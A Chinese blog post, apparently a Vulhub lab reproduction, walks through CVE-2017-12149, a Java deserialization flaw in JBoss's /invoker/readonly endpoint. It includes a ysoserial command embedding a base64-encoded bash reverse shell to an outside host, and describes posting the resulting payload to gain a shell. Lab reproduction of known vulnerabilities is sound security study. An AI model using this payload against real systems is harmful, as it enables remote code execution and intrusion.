jboss 5.x/6.x 反序列化漏洞 cve-2017-12149

港控/mmm° 2021-08-31 05:01 435阅读 0赞

**目录**

测试环境

漏洞复现

编写反弹shell的命令

序列化数据生成

发送POC

--------------------

该漏洞为 Java反序列化错误类型，存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter 过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化，从而导致了漏洞。

参考：

*  [https://mp.weixin.qq.com/s/zUJMt9hdGoz1TEOKy2Cgdg][https_mp.weixin.qq.com_s_zUJMt9hdGoz1TEOKy2Cgdg]
 *  [https://access.redhat.com/security/cve/cve-2017-12149][https_access.redhat.com_security_cve_cve-2017-12149]

## 测试环境 ##

运行测试环境

docker-compose up -d

首次执行时会有1~3分钟时间初始化，初始化完成后访问`http://your-ip:8080/`即可看到JBoss默认页面。

## 漏洞复现 ##

该漏洞出现在`/invoker/readonly`请求中，服务器将用户提交的POST内容进行了Java反序列化：

![format_png][]

所以，我们用常规Java反序列化漏洞测试方法来复现该漏洞。

### 编写反弹shell的命令 ###

我们使用bash来反弹shell，但由于`Runtime.getRuntime().exec()`中不能使用管道符等bash需要的方法，我们需要用进行一次编码。

工具：[http://www.jackson-t.ca/runtime-exec-payloads.html][http_www.jackson-t.ca_runtime-exec-payloads.html]

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70][]

### 序列化数据生成 ###

使用[ysoserial][]来复现生成序列化数据，由于Vulhub使用的Java版本较新，所以选择使用的gadget是CommonsCollections5：

java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS8yMSAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser

### 发送POC ###

生成好的POC即为poc.ser，将这个文件作为POST Body发送至/invoker/readonly即可：

![format_png 1][]

成功反弹shell：

![format_png 2][]

[https_mp.weixin.qq.com_s_zUJMt9hdGoz1TEOKy2Cgdg]: https://mp.weixin.qq.com/s/zUJMt9hdGoz1TEOKy2Cgdg
[https_access.redhat.com_security_cve_cve-2017-12149]: https://access.redhat.com/security/cve/cve-2017-12149
[format_png]: /images/20210728/9483d397dd41464aac745aa5687f929c.png
[http_www.jackson-t.ca_runtime-exec-payloads.html]: http://www.jackson-t.ca/runtime-exec-payloads.html
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3doYXRkYXk_size_16_color_FFFFFF_t_70]: /images/20210728/6edf5bf1c88248eea655d31ce7108b83.png
[ysoserial]: https://github.com/frohoff/ysoserial
[format_png 1]: /images/20210728/069fbbdc2cbf4352bd329e26f0b2ec8a.png
[format_png 2]: /images/20210728/5c7d4b28c3da4cc2ab11f146de0e3592.png